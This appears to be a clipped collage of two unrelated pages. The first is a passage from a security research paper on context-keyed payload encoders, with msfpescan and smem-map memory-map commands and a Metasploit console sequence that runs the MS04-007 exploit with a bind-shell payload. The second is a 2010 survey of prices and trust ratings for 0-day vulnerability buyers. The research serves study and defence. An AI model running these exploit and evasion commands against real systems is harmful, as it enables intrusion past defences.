illustrate, suppose a memory map for the Windows System service needs to be
created for exploitation of the vulnerability described in Microsoft Security
Bulletin MS06-040\[11\] by an exploit which will employ a context-keyed
payload encoder. A common DLL that is linked into the service's executable
when compiled can be selected as the target for msfpescan. In this case,
`ws2help.dll` is chosen due to its lack of updates since August 23rd, 2001.
Because this particular DLL has remained unchanged for over six years, its
instructions provide a particularly consistent cache of potential context-keys
for an exploit targeting an application linked against it anytime during the
last six years. A scan of the first 1024 bytes of `ws2help.dll`'s executable
instructions can be performed by executing the following command:

[code]

    msfpescan -b 0x0 -A 1024 ws2help.dll
    
    
[/code]

Furthermore, `msfpescan` has been improved via this research effort to render
data directly as a memory map. This improved version is available in the
Metasploit Framework as of version 3.1. A scan and dump to memory map of
`ws2help.dll`'s executable instructions can be performed by executing the
following command:

[code]

    msfpescan --context-map context ws2help.dll
    
    
[/code]

It is important to note that this method of memory map generation is much less
comprehensive than the method previously outlined; however, when targeting a
process whose executable is relatively large and links in a large number of
libraries, profiling only the instruction portions of the executable and
library files involved may provide an adequately-sized memory map for context-
key selection. Metasploit Framework's memdump.exeThe Metasploit Framework also
provides another useful tool for the profiling of a running process' memory
called`memdump.exe`. `memdump.exe` is used to dump the entire memory space of
a running process. This tool can be used to provide the polling step of the
memory map creation process previously outlined. By producing multiple memory
dumps over a period of time, the dumps can be compared to isolate static data.
smem-mapA tool for profiling a Linux process' address space and creating a
memory map is provided by this research effort. The `smem-map` tool\[12\] was
created as a reference implementation of the process outlined at the beginning
of this section. `smem-map` is a Linux command-line application and relies on
the proc filesystem as an interface to the target process' address space. The
first time `smem-map` is used against a target process, it will populate an
initial memory map with all non-null bytes currently found in the process's
virtual memory. Subsequent polls of the memory ranges that were initially
identified will eliminate data that has changed between the memory map and the
most recent poll of the process's memory. If the tool is stopped and restarted
and the specified memory map file exists, the file will be reloaded as the
memory map to be compared against instead of populating an entirely new memory
map. Using this functionality, a memory map can be refined over multiple
sessions of the tool as well as multiple instantiations of the target process.
A scan of a running process' address space can be performed by executing the
following command:

[code]

    smem-map <PID> output.map
    
    
[/code]

Context-Key SelectionOnce a memory map has been created for the target
application, the encoder may select any sequential data from any memory
address within the memory map which is both large enough to fill the desired
key length and also does not produce any disallowed byte values in the encoded
payload as defined by restrictions to the attack vector for the vulnerability.
The decoder stub should then retrieve the context-key from the same memory
address when executed at the target. If the decoder stub is developed so that
it may read individual bytes of data from different locations, the encoder may
select individual bytes from multiple addresses in the memory map. The encoder
must note the memory address or addresses at which the context-key is read
from the memory map for inclusion in the decoder stub. Proof of Concept:
Improved Shikata ga NaiThe Shikata ga Nai encoder\[9\], included with the
Metasploit Framework, implements polymorphic XOR additive feedback encoding
against a four byte key. The decoder stub that is prepended to a payload which
has been encoded by Shikata ga Nai is generated based on dynamic instruction
substitution and dynamic block ordering. The registers used by the decoder
stub instructions are also selected dynamically when the decoder stub is
constructed. Improving the original Metasploit implementation of Shikata ga
Nai to use contextual keying was fairly trivial. Instead of randomly selecting
a four byte key prior to encoding, a key is instead chosen from a supplied
memory map. Furthermore, when generating the decoder stub, the original
implementation used a "`mov reg, val`" instruction \(`0xb8`\) to move the key
value directly from its location in the decoder stub into the register it will
use for the XOR operation. The context-key version instead uses a "`mov reg,
[addr]`" instruction \(`0xa1`\) to retrieve the context-key from the memory
location at \[addr\] and store it in the same register. The update to the
Shikata ga Nai decoder stub was literally as simple as changing one
instruction, and providing that instruction with the context-key's location
address rather than a static key value directly. The improved version of
Shikata ga Nai described here is provided by this research effort and is
available in the Metasploit Framework as of version 3.1. It can be utilized as
follows from the Metasploit Framework Console command-line, after the usual
exploit and payload commands:

[code]

    set ENCODER x86/shikata_ga_nai
    set EnableContextEncoding 1
    set ContextInformationFile <application.map>
    exploit
    
    
[/code]

Case Study: MS04-007 vs. Windows XP SP0The Metasploit framework currently
provides an exploit for the vulnerability described in Microsoft Security
Bulletin MS04-007\[13\]. The vulnerable application in this case is the
Microsoft ASN.1 Library. Before any exploitation using contextual keying can
take place, the vulnerable application must be profiled. By opening the
affected library from Windows XP Service Pack 0 in a debugger, a list of
libraries that it itself includes can be gleaned. By collecting said library
DLL files from the target vulnerable system, or an equivalent system in the
lab, `msfpescan` can then be used to create a memory map:

[code]

    msfpescan --context-map context \
       ms04-007-dlls/*
    cat context/* >> ms04-007.map
    
    
[/code]

After the memory map has been created, it can be provided to Metasploit and
Shikata ga Nai to encode the payload that Metasploit will use to exploit the
vulnerable system:

[code]

    use exploit/windows/smb/ms04-007-killbill
    set PAYLOAD windows/shell_bind_tcp
    set ENCODER x86/shikata_ga_nai
    set EnableContextEncoding 1
    set ContextInformationFile ms04-007.map
    exploit
    
[/code]  
---

# Vulnerability Marketplace Survey Results

**Created:**| _5/29/2010 11:27:24 AM_  
---|---  
**Updated:**| _5/29/2010 11:27:24 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit iDS/iPS security metrics_  
  

## Vulnerability Marketplace Survey Results

Thursday, 13 May 2010 23:09

<img src='img/emailButton.png' alt='E-mail' /><img src='img/printButton.png'
alt='Print' /><img src='img/pdf_button.png' alt='PDF' />

  

## Researcher's reviews of 0-Day vulnerability buyers

  Participate in the survey:
http://unsecurityresearch.com/survey/public/survey.php?name=Vulnerability\_Marketplace
  **UPDATE: Survey has been updated based on feedback from the community. If
you have responded once, I invite you to respond again\!** **Please remember
that by participating you are helping yourself and the entire community\! This
information can improve every researcher 's results.**   **Some people have
expressed concern about the accuracy of the results. The limited advertising
of this survey ensures the accuracy of it. Basically, it would have been
difficult to learn about the survey unless you were an active or published
security researcher.  
** 

> This survey will provide visibility into the murky marketplace of 0-day
> vulnerabilities. By participating in this survey you will assist other
> researchers and yourself. The results of this survey will allow researchers
> to make the best choices of where to sell their vulnerabilities.
> Additionally it will allow buyers of vulnerabilities to review how they
> perform and make adjustments. No personally identifying information will be
> posted about the participants. This survey may take several minutes; Please
> complete it the best you can.
| **2.** **Which vulnerability buyers have you sold to, and how many times have you sold to each?** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='79' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.5\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='66' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.9\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='9' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.0\)  
SecuriTeam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='49' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.0\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='9' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.0\)  
Wabisabilabi | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='9' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.0\)  
Digital Armaments | | \(0.0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='77' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.4\)  
**3.** **How many vulnerabilities have you sent to this buyer but did not receive an offer AND were able to sell it to a different buyer. \(Do not count vulnerabilities no buyers would buy\)** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='99' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.8\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='85' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.4\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='109' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.0\)  
SecuriTeam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='42' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.3\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='69' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.0\)  
Wabisabilabi | | \(0.0\)  
Digital Armaments | | \(0.0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='189' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(5.0\)  
**4.** **In weeks, indicate buyers average time to offer. \(Only respond for buyers you have received offers from\)** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='67' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.9\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='104' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(5.8\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='9' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.0\)  
Securiteam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='22' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.7\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='42' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.7\)  
Wabisabilabi | | \(0.0\)  
Digital Armaments | | \(0.0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='14' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.2\)  
**5.** **In weeks, indicate average time to payment for each buyer you have sold to.** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='85' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.8\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='81' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.6\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='29' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.0\)  
SecuriTeam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='45' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.8\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='89' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(5.0\)  
Wabisabilabi | | \(0.0\)  
Digital Armaments | | \(0.0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='34' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.2\)  
**6.** **If you received an offer, accepted it but NEVER received payment select the buyer 's name below.** | iDefense | | \(0\)  
---|---|---  
ZDI | | \(0\)  
iSight | | \(0\)  
SecuriTeam | | \(0\)  
Netragard | | \(0\)  
Wabisabilabi | | \(0\)  
Digital Armaments | | \(0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
  
| <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
**7.** **Rate buyers on trustworthiness with 5 being complete trust and 1 being no trust. Do you trust them with your vulnerability information? Even if you reject their offer? Please only rate buyers you have successfully sold to.** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='109' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.0\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='129' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.5\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='69' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.0\)  
Securiteam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='120' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.3\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='79' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.2\)  
Wabisabilabi | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='29' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.0\)  
Digital Armaments | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='29' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(1.0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='115' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.2\)  
**8.** **Please rate a buyer 's friendliness, with 5 being friendly and 1 being unfriendly. Do they openly communicate reasons behind decisions? Do they work with you or help? Please only rate buyers you have delt with.** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='69' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.0\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='125' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.4\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='149' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.0\)  
SecuriTeam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='162' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.3\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='119' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.2\)  
Wabisabilabi | | \(0.0\)  
Digital Armaments | | \(0.0\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='125' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.4\)  
**9.** **Rate each buyer you have attempted to sell to by your preference for them. 5 being prefer the most, 1 being prefer the least.** | | Average rank  
---|---  
| 1 | 2 | 3 | 4 | 5 | |   
iDefense | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='87' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.5\)  
ZDI | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='150' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(4.0\)  
iSight | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='117' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.2\)  
SecuriTeam | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='143' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.9\)  
Netragard | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='75' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.2\)  
Wabisabilabi | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='109' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.0\)  
Digital Armaments | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='79' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(2.2\)  
Direct to buyer | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='143' height='9' /><img src='img/hbar_r.gif' width='4' height='9' />| \(3.9\)  
* * *  
**10.** **For iDefense only, indicate what prices \(USD\) you have received for client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='38' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 19.2% | \(5\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='30' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 15.4% | \(4\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='30' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 15.4% | \(4\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15-20k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
20-25k | | \(0\)  
25-30k | | \(0\)  
30k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
**11.** **For ZDI only, indicate what prices \(USD\) you have received for client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='23' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 11.5% | \(3\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='69' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 34.6% | \(9\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='53' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 26.9% | \(7\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | | \(0\)  
20k-25k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
25k-30k | | \(0\)  
30k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
**12.** **For iSight only, indicate what prices \(USD\) you have received for client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15-20k | | \(0\)  
20-25k | | \(0\)  
25-30k | | \(0\)  
30k+ | | \(0\)  
**13.** **For SecuriTeam only, indicate what prices \(USD\) you have received for client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='46' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 23.1% | \(6\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='23' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 11.5% | \(3\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | | \(0\)  
10-15k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
15-20k | | \(0\)  
20-25k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
25-30k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
30k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
**14.** **For Netragard only, indicate what prices \(USD\) you have received for client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
20k-25k | | \(0\)  
25k-30k | | \(0\)  
30k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
**15.** **For Wabisabilabi only, indicate what prices \(USD\) you have received for client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15-20k | | \(0\)  
20k-25k | | \(0\)  
25k-30k | | \(0\)  
30k+ | | \(0\)  
**16.** **For Digital Armaments only, indicate what prices \(USD\) you have received from client side vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | | \(0\)  
20--25k | | \(0\)  
25k-30k | | \(0\)  
30k+ | | \(0\)  
**17.** **For Direct Buyers only, indicate what prices \(USD\) you have received for client side vulnerabilities. \(Direct Buyers include anyone not listed here that does not advertise a vulnerability buying program\)** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
7-9k | | \(0\)  
9-10k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
10-15k | | \(0\)  
15k-20k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
20k-25k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
25k-30k | | \(0\)  
30k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
* * *  
**18.** **For iDefense only, indicate what prices \(USD\) you have received for server vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='30' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 15.4% | \(4\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='23' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 11.5% | \(3\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | | \(0\)  
10-15k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
15-20k | | \(0\)  
20-25k | | \(0\)  
25k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
**19.** **For ZDI only, indicate what prices \(USD\) you have received for server vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='69' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 34.6% | \(9\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='53' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 26.9% | \(7\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
10-15k | | \(0\)  
15k-20k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
20k-25k | | \(0\)  
25k+ | | \(0\)  
**20.** **For iSight only, indicate what prices \(USD\) you have received for server vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | | \(0\)  
20k-25k | | \(0\)  
25k+ | | \(0\)  
**21.** **For SecuriTeam only, indicate what prices \(USD\) you have received for server vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='30' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 15.4% | \(4\)  
---|---|---  
1-3k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
10-15k | | \(0\)  
15k-20k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
20k-25k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='23' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 11.5% | \(3\)  
